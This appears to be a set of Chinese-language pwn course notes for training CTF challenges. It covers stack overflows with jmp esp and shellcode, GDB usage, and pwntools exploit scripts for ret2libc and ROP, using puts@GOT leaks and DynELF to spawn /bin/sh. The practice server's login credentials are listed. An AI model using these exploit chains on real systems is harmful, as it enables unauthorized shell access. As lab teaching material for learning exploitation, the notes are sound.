Pwn 101
題目計分板:https://zeus.inndy.tw/scoreboard/
題目機器:ssh ntust@train.inndy.tw / overflow4fun

題目:Array


修改 index = 20 的時候可以控制 return address

題目:Overflow


objdump -d -M intel overflow 用 objdump 反組譯 overflow

用 python 產生 00 ~ ff (但是 0a 換成 9a) 的 bin 檔案,你也可以用其他語言或是 hexeditor 產生

s = ''
for i in range(256):
    if i == 0xa: # 換行
        i = 0x9a
    s += chr(i)
open('bin', 'wb').write(s)

GDB 指令

x/i ADDRESS 查看 ADDRESS 的地方,有什麼指令
x/8i ADDRESS 查看 ADDRESS 的地方,有什麼資料(8個 byte)
r (run)
r < bin 把 bin 這個檔案當作 standard input 輸入給現在的檔案來執行
c (continue)
Ctrl-C 暫停程式,回到 GDB
q 結束 GDB

xxd bin > bin.hex 把 bin 用 hex 的方式表達,寫入到 bin.hex
xxd -r bin.hex > bin 把 bin.hex 解碼成 binary 檔案,寫入到 bin

找到 jmp esp (機器碼是ff e4)的位址


bin 整體檔案結構:
(垃圾資料,塞滿前面的空間,20 ~ 40 byte 之間)
return addreshits (塞 jmp esp 的位址)
shellcode

最後解題,在題目機器上面下,bin是你剛剛組好的payload:

cat bin - | /home/chall-overflow/launcher

題目:guess-number

題目:rop

  • ret = p32(0x80483b2)
system = p32(0x8048420)
bin_sh = p32(0x804a060) # static_buffer

題目:leak

from pwn import *

io = process('???')

libc_system = 0x0
libc_bin_sh = 0x0
libc_puts = 0x0
ret = 0x0

io.sendlineafter(': ', '2') # leak
io.sendlineafter(': ', '00000000000') # puts@GOT
io.recvuntil(' == ')
puts = int(io.recvline(), 16)
log.info('puts at 0x%x' % puts)

system = puts - libc_puts + libc_system
bin_sh = puts - libc_puts + libc_bin_sh

io.sendlineafter(': ', '3') # overflow
payload = p32(ret) * 20 + p32(system) + 'AAAA' + p32(bin_sh)
io.sendlineafter(': ', payload)

io.sendlineafter(': ', '0') # return
io.interactive()

#!/usr/bin/env python2
from pwn import *

io = process('./leak')

elf = ELF(io.executable)
ret = 0x80483de


io.sendlineafter('choice: ', '1')
io.recvuntil(': 0x')
stack_addr = int(io.recvline(), 16)

log.info('stack: 0x%x' % stack_addr)

def leak(addr):
    io.sendlineafter('choice: ', '2')
    io.sendlineafter(': ', hex(addr))
    io.recvuntil(' == 0x')
    return int(io.recvline(), 16)

def leak_bytes(addr):
    return p32(leak(addr))

dynelf = DynELF(leak_bytes, ret)
system = dynelf.lookup('system', 'libc')

log.info('system: 0x%x' % system)

payload = p32(ret) * 12 + p32(system) + 'AAAA' + p32(stack_addr + (4 * 16)) + '/' * 64 + '/bin/sh\0'
io.sendlineafter('choice: ', '3')
io.sendlineafter(': ', payload)
io.sendlineafter('choice: ', '0')
io.interactive()

題目:ROP2

from pwn import *

io = process('./???')

libc_system = 0x0
libc_bin_sh = 0x0
libc_puts = 0x0

puts = 0x0
puts_GOT = 0x0
main = 0x0
_start = 0x0

print(io.recvline())

payload = 'A' * 13 + p32(puts) + p32(_start) + p32(puts_GOT)
io.sendline(payload)

r = io.recvline()
puts = u32(r[:4])

log.info('puts at 0x%x' % puts)

system = puts - libc_puts + libc_system
bin_sh = puts - libc_puts + libc_bin_sh


#payload = 'A' * 5 + p32(system) + 'AAAA' + p32(bin_sh)
payload = 'A' * 13 + p32(system) + 'AAAA' + p32(bin_sh)
io.recvline()
io.sendline(payload)
io.interactive()

#!/usr/bin/env python
from pwn import *

io = process('/home/chall-rop2/launcher')
elf = ELF('rop2')
libc = ELF('/lib32/libc.so.6')

chain = p32(elf.symbols['puts']) + p32(elf.entry) + p32(elf.got['puts'])
io.recvline()
io.sendline('a' * 13 + chain)
r = io.recvline().ljust(4, '\0')
puts = u32(r[:4])
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh\0'))
io.recvline()
chain = p32(system) + 'ZZZZ' + p32(bin_sh)
io.sendline('a' * 13 + chain)
io.interactive()

參考資料

ROP 輕鬆談 by Lays